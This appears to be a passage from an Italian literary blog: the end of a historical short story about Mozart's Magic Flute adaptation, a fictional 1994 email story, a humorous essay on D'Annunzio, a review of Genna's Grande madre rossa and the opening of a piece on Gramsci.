più intelligenti di quelli del Regno di Napoli; nelle campagne già da tempo monta la reazione. Gente che cerca solo un padrone cui obbedire; e in buona parte l'ha già trovato. E allora non chiedermi perché bestemmio, Léo: mi è rimasto solo questo, mannaia lu signuri!».
«Ho sempre apprezzato il tuo ottimismo, cittadino Gizzio!» concluse Modonnet.

3.

Uno dei vantaggi del mestiere teatrale è che permette di dormire sino a tardi; quando si ha un tetto sotto cui ripararsi, naturalmente. Léo Modonnet, per ora, l'aveva; ma quella mattina dormì lo stesso un sonno assai inquieto. Verso mezzogiorno, poco prima di svegliarsi, fece uno dei sogni più enigmatici della sua vita.
Era un sogno musicale. Modonnet udiva con una chiarezza allucinatoria una breve melodia, gentile e saltellante, in uno stile antiquato, suonata da una piccola orchestra. Poi, lo stesso tema, ma eseguito da un'orchestra molto più grande, con accenti molto più imperiosi e con una chiusa cromatica vagamente minacciosa. A questo punto appariva uno strano ometto, che si esprimeva con un forte accento tedesco. «Ogni vero artista, mein Freund, è anche uno Zauberer – un mago –, sì. Può capitargli di prevedere un futuro imprevedibile. Cosa, o chi, aveva in mente Rousseau quando, riferendosi alla Corsica, scriveva: “ho il vago presentimento che un giorno questa piccola isola stupirà l'Europa”? E quel ragazzino di dodici anni, che un giorno nel mio giardino mise in scena il suo Bastien und Bastienne – come poté presentire che un giorno la volontà generale sarebbe stata manipolata e circuita da un tiranno? Eppure, mein Freund, la storia non è mai un copione già scritto, così come una partitura non è mai immodificabile. E quando ci si accorge che la pagina è guasta, rimane sempre una soluzione: strapparla».
Modonnet si svegliò frastornato e con un forte mal di testa. Senza sapere bene perché, la prima cosa che fece fu aprire il suo baule per cercarvi un involto. Dentro c'erano una maschera nera, un mantello e un bastone dal manico lucente.
Quella notte, Ludwig Wenzel Lachnith, davanti al portone di casa sua, mentre frugava un po' alticcio nelle tasche del suo soprabito per cercare la chiave, notò una scritta di colore rosso fosforescente sul muro proprio accanto alla porta:

RACHE

Prima che avesse il tempo di chiedersi cosa stava succedendo, avvertì il brivido freddo di una lama proprio sotto il mento, e udì alle sue spalle una voce altrettanto metallica e tagliente: «Cittadino musicista, vogliate cortesemente condurmi nel vostro studio».
«Come volete, amico mio» diceva Lachnith mentre saliva le scale, tallonato da Scaramouche. «Non c'è bisogno di tutta questa commedia... vi ho riconosciuto, sapete?».
«Merda» pensò Modonnet.
«Eravate con me a cena ieri sera. Ammetto che il ruolo che vi è stato assegnato nell'ultima produzione è al di sotto delle vostre capacità attoriali; ma tenete conto che si tratta di un'opera, e che Voi non sapete cantare. Ho delle conoscenze, e posso farvi ottenere una buona scrittura per la prossima stagione di prosa... però, immagino che vogliate un risarcimento più immediato, e in contanti».
Erano intanto entrati nello studio del compositore.
«Immaginate male» disse Scaramouche. «Voglio solo porre rimedio a uno dei più insensati e odiosi crimini contro il buon gusto e il buon senso che si possano citare nella storia dell'arte musicale. Voglio cancellare la macchia con cui voi avete insudiciato la memoria di un grande musicista. Voglio che mi diate la partitura originale di quello scempio chiamato I misteri d'Iside».
«Eccola». Lachnith sollevò un manoscritto dal ripiano della sua scrivania e lo consegnò a Scaramouche: «Cosa ve ne farete, adesso?».
«Non lo so ancora. La strapperò in mille pezzi e la getterò nella Senna. Oppure ne attaccherò i fogli ai muri di Parigi per denunciare la vostra cialtroneria».
Lachnith rise: «Vedo che siete un idealista. Forse non vi siete accorto che i tempi sono cambiati e che la rivoluzione è finita. Permettetemi di darvi un consiglio: perché non ve ne tornate in Italia? Laggiù c'è ancora da fare per le teste calde come voi. Già che ci siete, portate con voi quel musone del vostro amico, e ditegli che non è colpa nostra se i giacobini napoletani erano degli imbecilli... se avessero dato subito la terra ai contadini, anziché perdere tempo in chiacchiere, le cose sarebbero andate molto diversamente».
«Ce ne ricorderemo per la prossima rivoluzione» disse Scaramouche.

Nota bibliografica

Questo racconto deve molto al primo capitolo del libro di Augusto Illuminati Gli inganni di Sarastro, Einaudi, Torino 1980, che indaga – sia pure con qualche eccessivo schematismo – le relazioni fra la teoria politica di Rousseau, le scoperte di Franz Anton Mesmer, il Bastien und Bastienne – la cui prima rappresentazione si dice abbia avuto luogo nel giardino della casa di Mesmer a Vienna – e Il flauto magico di Mozart.
Hector Berlioz nelle sue Memorie critica con estrema durezza l'adattamento molto libero de Il Flauto Magico realizzato da Lachnith sotto il titolo de Les mystères d'Isis. Il testo originale delle Mémoires di Berlioz (Parigi 1865) è facilmente reperibile in Internet.
Sulle critiche rivolte a Mozart dal musicista suo contemporaneo Giuseppe Sarti si veda il saggio Sarti contro Mozart di Massimo Mila, ora in M. Mila, Mozart. Saggi 1941-1987, Einaudi, Torino 2006, pp. 332-58.
La sorprendente identità fra il tema iniziale dell'ouverture del Bastien und Bastienne e l'inizio della Terza Sinfonia di Beethoven è, secondo Hermann Abert – citato da Wolfgang Hildesheimer nella sua nota biografia mozartiana –, una pura coincidenza. Com'è noto, Beethoven intendeva intitolare la sinfonia a Napoleone Bonaparte; secondo la tradizione, il musicista strappò la dedica quando seppe che Napoleone si era fatto incoronare imperatore.
Il parallelo fra Napoleone Bonaparte e il Sarastro di Mozart/Lachnith si trova in Jean Tulard, Napoleone. Il mito del salvatore, Rusconi, Milano 1980, p. 9. Alle pp. 183-85 dello stesso libro si parla della crisi alimentare in Francia fra la primavera del 1801 e il 1802.
Le idee esposte qui da Lachnith sulla modernità come spettacolo e sulla “gente” che si vuole divertire derivano in realtà dal libro di Alessandro Baricco L'anima di Hegel e le mucche del Wisconsin, Feltrinelli, Milano 2009.


          1994        

From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Mon, 14 Feb 1994 12:09:05
Subject: Eccomi

Mannaggia a te! Che c'era di male nelle lettere cartacee? Signornò. "Dai, mandami un'e-mail! E' facile, divertente, vedrai!". - Intanto ho dovuto iscrivermi al laboratorio d'informatica di questa cavolo di università, dove bisogna fare domanda in carta bollata anche per un caffè al bar. Poi, io il computer manco lo so usare. A quest'ora dovrei essere in sala studio a preparare l'esame di diritto privato comparato (capirai); invece sto qua ad arrovellarmi con tastiera e mouse.

Va beh. Ti scrivo per questo: devi assolutamente registrarmi un po' di cassette di musica rock. Hai presente? Quella che tu hai sempre detto che io la snobbo. Specialmente, quanto più progressive anni '70 riesci a procurarmi. Non so, gli Yes, i Genesis, i King Crimson, quella roba là. E poi il grunge. Non i Nirvana, ché onestamente non li reggo: Smashing Pumpkins, Pearl Jam, Soundgarden. E magari della musica da discoteca, però di un certo livello. E ci sarebbe un pezzo di un gruppo inglese che mi ossessiona, si chiama... ce l'ho sulla punta della lingua. Basta, appena mi ricordo il titolo te lo dico.

No, non sono impazzito. E' che ho conosciuto una ragazza molto simpatica che ha questi gusti musicali. Anche molto bella, a dire la verità. Anzi, la sola cosa che le vorrei dire è proprio questa: che la trovo bellissima. Ma, tu mi conosci; non c'è verso; se provo ad affrontare l'argomento, ammutolisco senza rimedio. Così mi servono urgentemente altri argomenti di conversazione. Lei studia inglese, e fin qui posso arrangiarmi. L'ho anche accompagnata a lezione, ho studiato i suoi appunti. Sai? Sto diventando, credo, il massimo esperto di T. S. Eliot di tutto il basso Ionio reggino. Quest'estate, se non altro, potrò esibirmi nei locali sul lungomare recitando The Waste Land a memoria.

Ma tutto questo non basta. Prima o poi dovrò trovare il coraggio di invitarla a uscire una sera, che so, ad un concerto, o addirittura (non ridere) a ballare. Perché ho capito che alle matinée in Conservatorio lei non ci viene. Ebbene, è qui che subentri tu. Devi aiutarmi ad andare oltre Beethoven. Ripeto, procurami del rock, perché mi serve come il pane!

Attendo tue notizie, stammi bene.

P.S. Mi sono ricordato il titolo di quella canzone: Creep, dei Radiohead.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Mon, 21 Mar 1994 15:31:22
Subject: Re: Re: Eccomi

Grandi novità! Abbiamo occupato. Ora la nostra casa dello studente è Pensionato Universitario Occupato Autogestito. L'abbiamo deciso venerdì sera, al termine di un'agitata assemblea sugli ultimi aumenti delle rette e della mensa. Io mi sono aggiudicato la gran parte dei turni di notte in portineria: sia per evitare i turni di pulizia, sia perché mi piace fare le ore piccole e perché durante l'occupazione c'è un bel clima. Si parla, si beve, si fuma tabacco e non solo: effettivamente, non sto studiando granché. Però mi diverto.

Ieri, per esempio, verso la mezzanotte la situazione comprendeva una bottiglia di mirto, uno stereo, sei-sette persone fra cui Alice (la ragazza di cui ti ho parlato nella mia ultima lettera) e me. Il guaio è che dopo un'oretta loro sono usciti, per andare credo in discoteca, mentre io dovevo rimanere per continuare il turno; ma mi hanno lasciato la bottiglia, d'altronde semivuota, e lo stereo. O forse due bottiglie e due sterei, a quel punto non capivo più bene. Sono riuscito, in qualche modo, a togliere la cassetta dei Rage Against The Machine e a mettere su il Lamento d'Arianna di Monteverdi, che in quel momento era anche più adatto.

A proposito: mi hai registrato le cassette che ti ho chiesto? Se scendi anche tu in Calabria per le elezioni, tra una settimana me le puoi dare. Ma l'hai visto quel pagliaccio miliardario? E pensa che magari qualcuno lo voterà anche. Viviamo in un paese meraviglioso.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Fri, 15 Apr 1994, 16:05:30
Subject: buona notte al secchio

La sai una cosa? Tre anni fa, dopo il diploma, commisi un solo errore.

Allo sportello della stazione chiesi un biglietto per Milano. Sbagliai: avrei dovuto comprare un sola andata per Londra, o per Parigi, o per Berlino.

L'occupazione è finita. L'Ente per il Diritto allo Studio ha promesso che, col nuovo bilancio, ben il 3,75% delle risorse aggiuntive sarà stanziato per porre rimedio ai recenti rincari delle tariffe, compatibilmente con il principio del pareggio contabile.

Insomma: non abbiamo ottenuto un bel niente.

Ho saputo che Alice si è fidanzata. Con uno studente d'ingegneria, milanese da varie generazioni e di ottima famiglia, buon giocatore dilettante di basket. Ha una macchina svedese con doppia alimentazione, benzina verde e gas, perché bisogna proteggere l'ambiente. Un bravissimo ragazzo.

Tutto è perduto. Mentre questa ridicola nazione, consegnatasi ancora volontaria nelle mani di un tirannello squilibrato, si avvia verso il suo triste destino, io ti comunico la mia irrevocabile decisione.

Pongo rimedio al mio errore.

Espatrio.

E basta, con queste e-mail del piffero! Ti farò avere prossimamente il mio nuovo recapito estero.

La sai un'altra cosa? Siamese Dream degli Smashing Pumpkins è molto più noioso della più tediosa sinfonia di Bruckner.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Tue, 26 Apr 1994 16:28:43
Subject: scherzavo

E niente: all'estero non sono andato.

Ti spiego cos'è successo.

Sai che mi è sempre piaciuto stare sveglio fino a tardi; ultimamente sto esagerando; mi succede spesso di fare l'alba. Da un po' non scendo neanche più in sala studio, per non rischiare d'incontrare Alice. La sera me ne sto tappato in camera, ascoltando Brahms.

Un mio consiglio per i giovani: se abitate in una casa dello studente, cercate di non innamorarvi mai di un'altra persona ospite del pensionato. Soprattutto se non corrisposti.

Bene: domenica notte, mentre studiavo, ho messo su il Tristano. Così, tanto per cambiare. Ma, poco dopo il preludio, ho dovuto spegnere.

Frisch weht der Wind
Der Heimat zu
Mein Irisch Kind,
Wo weilest du?


Mi si è annebbiata la vista, e ho scoperto che avevo finito i kleenex. Ho chiuso il libro. Mi sono alzato dalla sedia e sono andato a lavarmi il viso con l'acqua fredda. Poi sono tornato alla scrivania.

Ho acceso il quinto canale della radio (quello che trasmette solo classica). C'era un brano di avanguardia; una cosa che non conoscevo, una specie di collage sonoro sul tipo di Revolution 9 dei Beatles, hai presente? Folle in tumulto, suoni strani, rumori ambientali, nastri in loop, voci umane che declamano sillabe incomprensibili. Un delirio.

Roba forte! Ho attaccato lo spinotto delle cuffie alla radio e mi sono sparato il brano nelle orecchie, chiudendo gli occhi e reclinando indietro la testa. A un certo punto, dal tappeto sonoro ha cominciato a emergere una voce femminile, che sembrava pronunciare un testo coerente. Dapprima si sentiva sullo sfondo, e non si capiva bene cosa dicesse; qualcosa sul Vietnam. Man mano, la voce diventava sempre più forte, più netta, e veniva sempre più in primo piano. Alla fine, con una presenza sonora impressionante, la voce scandiva, anzi no scolpiva, queste parole: "Rimanete qui, e combattete per la vostra dignità di uomini".

"Avete ascoltato: Luigi Nono, Contrappunto dialettico alla mente", ha detto l'annunciatore.

Ho staccato lo spinotto, ho tolto le cuffie e ho spento la radio.

Ho riconsiderato la mia intenzione di espatriare. Ho pensato: ma non l'ho già fatto? Sono già emigrato. E prima di me mio padre, proprio negli anni in cui Nono componeva quel pezzo.

Quante volte ancora voglio fare le valigie?

Possibile che l'unica soluzione sia quella di scappare sempre più lontano?

L'indomani, 25 aprile, sono andato alla manifestazione. Il concentramento era alle due del pomeriggio; ma mi sono svegliato così tardi che non ho potuto neanche fare colazione. Ho preso un caffè al distributore automatico giù in atrio e sono uscito, in direzione porta Venezia.

Era previsto un corteo molto grande. E' stato immenso. Mai vista tanta gente tutta insieme! E che varietà, quanti colori, che musiche, che allegria! Quanta pioggia, anche: veniva giù a secchiate, per tutta la durata della manifestazione.



Io ero in fondo al corteo, e pensa che non sono neppure riuscito a entrare in piazza Duomo, tanto era gremita! Ho svoltato per piazza Fontana, poi per via Larga. Ho vagato per un pezzo; non so chi o cosa mi aspettassi di trovare, a parte qualcosa da mettere sotto i denti, dato che avevo una fame da lupo.

Mi sono ritrovato, non so come, in piazza Sant'Alessandro, vicino alla facoltà di lingue, che naturalmente era chiusa; c'era però un bar-tavola calda miracolosamente aperto; mi ci sono fiondato dentro.

Ero seduto sul mio sgabello, dando le spalle all'ingresso, e divoravo la mia pizzetta, ovviamente pessima come solo a Milano la sanno fare, quando mi è parso di vedere una sorta di variazione nella luce. Come se avesse improvvisamente smesso di piovere e fosse uscito un sole splendente.

Mi giro, e vedo Alice entrare nel locale e raggiungermi.

Era in tenuta da manifestazione: jeans sdruciti, camicia grunge, niente make-up (lei che di solito è così curata). I lunghi capelli biondi inumiditi dalla pioggia, che intanto continuava a scrosciare.

"Ciao", le dico. "Dov'è il tuo fidanzato?"

"Sciocco", mi ha risposto. "Oggi ci sono cose più importanti", ha detto. "C'è mezza casa dello studente qui fuori: abbiamo fatto uno striscione molto figo, lo andiamo ad attaccare al portone dell'I.S.U. Cosa fai qua, solo come un gufo? Vieni anche tu!"

Non me lo sono fatto dire due volte.

E dunque. Fra un mese ho l'esame di diritto sindacale. Materia interessante, sai? Credo che chiederò la tesi.

Per ora rimango qui.

(Racconto già pubblicato su Evulon. Ogni riferimento a fatti, persone, città, eventi, uomini politici, bar e pizzette della realtà è puramente casuale).
          Cinque buoni motivi per (non) leggere D'Annunzio        
Quest'estate ho intrapreso un viaggio in automobile attraverso i classici della prosa italiana. Per non partire da troppo lontano, ho limitato l'arco temporale agli ultimi due secoli; sono entrato al casello dell'Ortis, ho proseguito per Manzoni, poi ho attraversato le Operette morali e lo Zibaldone e, già che c'ero, mi sono concesso una deviazione per i Canti e i Paralipomeni. Durante la sosta in autogrill, davanti a una piadina e a un quartino di Chianti, ho pensato a quanto ero fortunato per il fatto che né Carducci né Pascoli si fossero mai dedicati alla narrativa; poi ho imboccato con fiducia il rettilineo che conduce al grande De Roberto attraverso il grandissimo Verga.

Fin qui tutto bene. Ma già sapevo che, dopo la barriera in uscita dall'A-800, e prima di imboccare con decisione l'A-900, avrei dovuto attraversare un tratto di raccordo pericoloso e arduo.

Ecco che già si snoda sotto i miei occhi la temutissima tangenziale D'Annunzio, con le sue cinque uscite.

1. E' un classico. Può esservi capitato, per motivi di lavoro o di studio, di dover leggere parecchi testi italiani risalenti alla fine del diciannovesimo o all'inizio del ventesimo secolo. Non necessariamente testi letterari: anche articoli di giornale o saggistica. Vi sarete accorti di quanto spesso lo stile appare gonfio, ampolloso, enfatico. E' come se, in quel periodo, un'epidemia di cattiva retorica (il "dannunzianismo") si fosse abbattuta sulla prosa italiana. E però: quando un autore riesce a imprimere in modo così massiccio e durevole la propria impronta sulla lingua nella quale scrive, questo autore è ciò che si dice un classico. Vale a dire che D'Annunzio non può essere tralasciato, in quanto rappresenta una fase di evoluzione della lingua italiana.

"Ma, trapassando il simbolo materiale, ci abbandoniamo con ansia alla virtù evocatrice dei profondi accordi in cui il nostro spirito sembra oggi trovare il presentimento di non so qual sera grave di belle fatalità e d'oro autunnale su un porto quieto come un bacino d'olio odorifero ove una galera palpitante d'orifiamme entrerà con uno strano silenzio come una farfalla crepuscolare nel calice venato d'un gran fiore".

2. E' decadente. Mettiamo che un bel mattino vi svegliate e vi sentiate esteti. Ovviamente non lavorate, e non avete il problema della sussistenza materiale. Fra i moltissimi modi a vostra disposizione per iniziare la giornata (il sesso, l'equitazione, il gioco d'azzardo, le droghe, bighellonare per il centro cittadino, ecc.) scegliete di leggervi un buon libro. Siete snob, e quindi sdegnate l'idea di leggere una volgare traduzione. Siete pigro, e non vi va di approcciare Proust né Wilde in lingua originale. Siete italiano, e vi dovete accontentare di quello che passa il convento. E allora non c'è via di scampo. Alla richiesta "estetismo decadente", la letteratura italiana risponde con D'Annunzio. O cambiate arte (Puccini è una validissima alternativa), oppure vi tocca tirare giù dall'ultimo scaffale il poeta di Pescara.

"Ricordi la ventesima delle variazioni beethoveniane sul tema del Diabelli dedicate ad Antonia Brentano? - diceva Aldo, svegliando nella profondità della nera cassa quegli accordi in cui per una miracolosa trasfigurazione il tema principale è irriconoscibile. - Non sembra armonizzata su quel fondo ove la croce le scale i corpi i singhiozzi le grida gli aneliti la luce non penetrano? Ascolta; e guarda quell'azzurro opaco sordo eguale, senza raggio, senza nube, di là da cui spazia forse quella regione della vita ove una sola cosa importa".

3. E' un poeta. Nonostante tutto, in D'Annunzio c'è del bello. Egli si autodefinì "l'Imaginifico" (con la I maiuscola, e una emme sola). Infatti, la sua prosa è caratterizzata da una strabordante varietà di immagini, di similitudini e di metafore. In gran parte sono rumore di fondo e gratuito orpello kitsch. Ma, per un puro fatto statistico, ogni tanto qualcuna è giusta. In altre parole, D'Annunzio funziona un po' come quei comici che producono battute a raffica, velocissime: alla fine ridi, un po' per sfinimento e un po' perché fra le tante ce n'era una buona.

"E nella faccia e nella mano era tanta forza d'espressione e d'illuminazione, ch'elle parevano sorpassare la realtà e intagliarsi nel cielo stesso del fato, come quando il crinale delle Dolomiti solo arde nei crepuscoli inciso contro tutta l'ombra e ciascuno dei suoi rilievi s'addentra nell'anima di chi mira e vi s'eterna".

4. E' conseguente. Come si sa, l'opera di D'Annunzio ha anche una ben precisa connotazione politica. Non mi dilungo su questo aspetto, però voglio rilevare che, sotto questo punto di vista, moltissimi italiani sono dannunziani, senza saperlo o sapendolo. Non tanto, e non solo, per una questione di appartenenza a certi partiti o a certe ideologie; quanto per il fatto di condividere con D'Annunzio un determinato rapporto con il reale. Infatti, il tipico atteggiamento dannunziano nei confronti della realtà non consiste nel riconoscerla così com'è, né tanto meno nel cercare di cambiarla. Consiste nel mistificare, sempre e comunque, e con ammirevole pertinacia e coerenza, la realtà. Se D'Annunzio fosse un software, sarebbe una specie di Matrix che trasfigura esteticamente tutti gli oggetti dell'esperienza facendo apparire "bella" ogni cosa. Se D'Annunzio fosse un odierno manager della TV, la sua ambizione sarebbe quella d'ideare un palinsesto così avvincente da tenere tutti i telespettatori attaccati allo schermo ventiquattr'ore su ventiquattro, dimentichi della vita e desiderosi di sempre nuove illusioni. Se D'Annunzio fosse un politico... Ma lo fu, tra l'altro. E fece scuola, ed ebbe tanti seguaci. E molti ne avrebbe ancora oggi, se fosse vivo.

"Né soltanto verso quella moltitudine ma verso infinite moltitudini andò il suo pensiero; e le evocò addensate in profondi teatri, dominate da un'idea di verità e di bellezza, mute e intente dinanzi al grande arco scenico aperto su una meravigliosa trasfigurazione della vita, o frenetiche sotto il repentino splendore irradiato da una parola immortale. E il sogno d'un'arte più alta levandosi in lui anche una volta, gli dimostrò gli uomini novamente presi di reverenza verso i poeti come verso coloro i quali potevano soli interrompere per qualche attimo l'angoscia umana, placare la sete, largire l'oblio. E troppo gli parve lieve quella prova ch'egli compiva; poiché mosso dal soffio della folla il suo spirito si stimò capace di generare finzioni gigantesche".

5. E' morto. Alla fine questa è la cosa più importante. Dall'esperienza dannunziana la nostra letteratura uscì vaccinata: per un paio di generazioni gli scrittori sfuggirono la retorica e cercarono una lingua scabra ed essenziale.

"Io non comprendo perché oggi i poeti si sdegnino contro la volgarità dell'epoca presente e si rammarichino d'esser nati troppo tardi o troppo presto. Io penso che ogni uomo d'intelletto possa, oggi come sempre, nella vita creare la propria favola bella. Bisogna guardare nel turbinio confuso della vita con quello stesso spirito fantastico con cui i discepoli del Vinci erano dal maestro consigliati di guardare nelle macchie dei muri, nella cenere del fuoco, nei nuvoli, nei fanghi e in altri simili luoghi per trovarvi invenzioni mirabilissime e infinite cose".

Sì, certo.
E l'orifiamma e la ventesima variazione e l'arco scenico e le Dolomiti...
Le Dolomiti?
Mi sa tanto che ho sbagliato uscita.
Sto andando verso il Brennero.
Arrivederci, Italia!

[Già pubblicato su Evulon]
          Giuseppe Genna: Grande madre rossa        
Oggi è il primo di agosto e sono piuttosto insoddisfatto di me stesso in generale e di questo blog in particolare. Vorrei scrivere qualcosa di incisivo e pregnante. Come al solito, non ci riesco. Invece, ho deciso di riciclare una recensione a Grande madre rossa di Giuseppe Genna che scrissi tre anni fa per un sito commerciale e che ripubblico qui di seguito, con minime variazioni. E' brutta, ma se non altro vi trapela un po' di entusiasmo: qualcosa che al momento mi manca.

Che libro è Grande madre rossa? In prima approssimazione, è un thriller. Ma, se incontrate l'autore, non insistete troppo su questa definizione. Tempo fa, Giuseppe Genna dichiarò che avrebbe regalato una copia del Codice da Vinci al primo che gli avesse detto che lui scriveva thriller. Inutile aggiungere che Genna non è precisamente un estimatore di Dan Brown.

Ecco la trama. Una spaventosa esplosione polverizza il Palazzo di Giustizia di Milano, facendo più di mille vittime. L'attentato non è stato rivendicato, ma se ne temono altri e il commissario Guido Lopez della Questura di Milano, sulla traccia dei colpevoli, lotta contro il tempo e forse contro ostacoli e depistaggi dei servizi segreti italiani e di quelli stranieri...

Certo, trattandosi di un thriller, sarebbe delittuoso (appunto) svelare ulteriori dettagli. Non lo farò. Dovete fidarvi della mia parola quando vi dico che il libro l'ho letto per intero e tutto d'un fiato.

Mentre Genna scriveva questo romanzo, vivevo e lavoravo a Milano (tra l'altro abitavo nel quartiere popolare di Calvairate, che Genna conosce bene e di cui spesso parla nei suoi romanzi, compreso questo). Ricordo benissimo la paura, che in quel periodo serpeggiava, di un nuovo e terribile attentato. Infatti, dopo l'11 settembre e dopo la strage della stazione ferroviaria a Madrid, tutti temevano che il prossimo bersaglio dei terroristi sarebbe stato la metropolitana di Milano: la quale, in quegli anni, l'undici di ogni mese risultava stranamente meno affollata rispetto agli altri giorni... Grande madre rossa rende assai bene quel clima di psicosi collettiva.

Ma è veramente un thriller, Grande madre rossa? E' un romanzo di spionaggio, di fantapolitica? E' un romanzo "realistico", qualunque cosa questa parola voglia dire? - Consentitemi di riportare per esteso la nota apposta al suo romanzo da Giuseppe Genna a mo' di premessa.

"Le vicende qui narrate sono finzioni letterarie al 100%. In esse compaiono nomi di persone e circostanze 'reali' in qualità di pure occasioni narrative. I nomi di aziende, strutture istituzionali, media e personaggi politici vengono utilizzati soltanto al fine di denotare figure, immagini e sostanze dei sogni collettivi che sono stati formulati intorno a essi, e si riferiscono quindi a un ambito mitologico che non ha nulla a che vedere con informazioni od opinioni circa la verità storica effettiva degli avvenimenti o delle persone - in vita o scomparse - su cui questo romanzo elabora una pura fantasia."

Attenzione: non si tratta del solito disclaimer messo lì solo per motivi legali (del tipo "ogni riferimento ecc. è del tutto casuale"). In questo romanzo i riferimenti non sono affatto casuali, tuttavia quando Genna usa le espressioni "sogni collettivi", "ambito mitologico" e "pura fantasia" dobbiamo prenderlo sul serio.

Di fatto, Genna dimostra con questo romanzo una eccezionale capacità di giocare con l'inconscio collettivo, di evocare sogni o incubi metropolitani, e di svelare (o forse di creare) archetipi remotissimi e affascinanti. Da questo punto di vista Grande madre rossa è molto più vicino a Lautréamont, ai surrealisti francesi, a William Burroughs, di quanto non lo sia a Grisham o a Ian Fleming.

Ho trovato veramente straordinaria tutta la parte del romanzo ambientata nel Cimitero Monumentale di Milano. Opera architettonica ottocentesca di notevole cattivo gusto, in questo senso equivalente milanese (anche se meno celebre) del Vittoriano di Roma, nonché una delle parti più neglette ed ignorate della città di Milano, nelle pagine di Genna il Cimitero Monumentale diventa genialmente il luogo dell'inconscio e del rimosso ove risiede la verità nascosta della città. Da gustare, in questo romanzo d'azione, crudo e hard-boiled secondo le migliori tradizioni del suo genere, il "cameo" dedicato al Manzoni:

"Non c'era più posto nel Vecchio Famedio, tempestato di lapidi in ogni centimetro quadro. Il tempio del tempo scaduto per Alessandro Manzoni. Manzoni: polvere sul mogano della cattedra, polvere di gesso. L'epidemia ubiquitaria, transgenerazionale, scolastica, che colpisce ogni italiano quindicenne: Manzoni.
Cosa c'entra Manzoni oggi?"


Fin dai tempi di Emilio Praga e della scapigliatura, Manzoni è il bersaglio polemico dell'avanguardia artistica milanese... Anche da questo punto di vista, Genna è veramente figlio della sua città. Qui, però, non è realmente chiaro se Genna stia polemizzando contro l'autore dei Promessi sposi, o non piuttosto contro la nostra epoca, così degradata da non trovare più posto per un Manzoni.

Bellissimo è poi il finale del romanzo, che descrive una ipotetica Milano post-catastrofe, in apparenza uguale ma forse enigmaticamente diversa, forse migliore. La piazza dove prima si trovava il Palazzo di Giustizia, distrutto dall'immane esplosione:

"La nuova piazza, larga, aperta, immensamente chiara: il luogo dove sorgeva, come un sogno, il Palazzo.
Come puntine da disegno e graffette, in controluce, i nonni e i bambini, che giocano, a passeggio, nell'incredibile spazio bianco della nuova piazza."


E, nella piazza,

"il monumento di marmo bianco, una colonna altissima, messo in verticale, l'architrave di quello che fu il Palazzo di Giustizia.
E' la nuova colonna infame."


Ed ecco, dunque, che abbiamo ritrovato anche il buon vecchio Manzoni... L'autore della Storia della colonna infame non poteva essere liquidato così facilmente, dato che la riflessione sul rapporto tra diritto e giustizia è uno dei temi portanti di Grande madre rossa.

Grande madre rossa è stato inserito da Wu Ming 1 nel "canone" delle opere più significative del cosiddetto "New Italian Epic", di cui tanto si è discusso negli ultimi due anni. Se fra le caratteristiche del "New Italian Epic" c'è anche quella di sapersi mantenere su livelli elevati di elaborazione mitico-simbolica, direi che questo romanzo merita ampiamente di rientrare nel novero. Parlando di mitologia, va detto che in Grande madre rossa si trovano quei puntuali riferimenti al matriarcato (il leggendario ordinamento sociale preistorico in cui comandavano le donne, studiato fra gli altri da Bachofen, da L. H. Morgan e da Engels) che il lettore legittimamente si attende da un romanzo con tale titolo.

Il romanzo di Genna può essere interpretato anche come una grandiosa, veramente "epica", fantasia di rivalsa. In questa sede non posso essere più preciso, ma consiglio ai lettori di tenere bene a mente la citazione da Ulrike Meinhof posta in esergo.

A proposito, ho letto recentemente un passo di Bachofen che sembra un commento anticipato a Grande madre rossa:

"Questo diritto materno materiale è il più sanguinario di tutti i diritti. Esso impone la vendetta anche là dove mentalità superiori la fanno apparire come un delitto. [...] Il diritto materiale della prima epoca mostra che la sua legge è quella del sangue [...]. L'idea della giustizia superiore, che considera ogni circostanza [...] proviene dal cielo. In precedenza esisteva solo la vendetta sanguinaria che non ascoltava alcuna difesa e che proveniva dalla materia. [...] L'età del diritto femminile è quella della vendetta e del sanguinario sacrificio umano, quella del patriarcato è l'epoca del tribunale, dell'espiazione, del culto senza spargimento di sangue".

BIBLIOGRAFIA

- Giuseppe Genna, Grande madre rossa, n. 1550 del periodico "Segretissimo", aprile 2009; prima edizione Mondadori, Milano 2004 (attualmente esaurita, spero che venga ristampata presto, perché il libro lo merita assolutamente).

- Johann Jakob Bachofen, Il matriarcato. Storia e Mito tra Oriente e Occidente, [antologia] a cura di Giampiero Moretti, Christian Marinotti Edizioni, Milano 2003, pp. 65, 66-67.

- Sul "New Italian Epic", vedi la relativa voce in Wikipedia.

- Il sito Internet di Giuseppe Genna.

- Per chi ne fosse curioso, la recensione di Genna al Codice da Vinci.
          Sulla critica del diritto nel giovane Gramsci        
E' successo che, preparando un commento all'ultima sortita di Saviano a proposito di storia della sinistra italiana, ho ripreso in mano, dopo anni, il vecchio volume dell'Einaudi (Torino, 1960) che raccoglie i corsivi pubblicati da Gramsci sull'"Avanti!" nella rubrica Sotto la Mole (1916-1920). Qui mi è capitato sotto gli occhi il commento di Gramsci alla sentenza sui "fatti di Torino", cioè (annotano i curatori dell'edizione) "lo sciopero generale per il pane e contro la guerra, che sfociò nella sommossa del 23-26 agosto 1917". [1]

Il commento di Gramsci fu pubblicato sull'"Avanti!" il 20 ottobre 1918: il testo, come di frequente, uscì con vistosi "vuoti" dovuti all'azione della censura. Eccolo qui di seguito [2].

BELLU SCHESC' E DOTTORI!

Il giudice Emanuele Pili non è senza storia, come gli uomini e i popoli felici. Ma la storia del giudice Emanuele Pili ha una lacuna; iniziatasi col protagonista autore drammatico, riprende ora col protagonista «ragionatore» di sentenze, e riprende con una gloriosa e strenua pugna: il «ragionamento» della sentenza per i fatti di Torino, che nell'ultimo numero della «Gazzetta dei tribunali» il misuratore di crani prof. Vitige Tirelli qualifica «dotta».
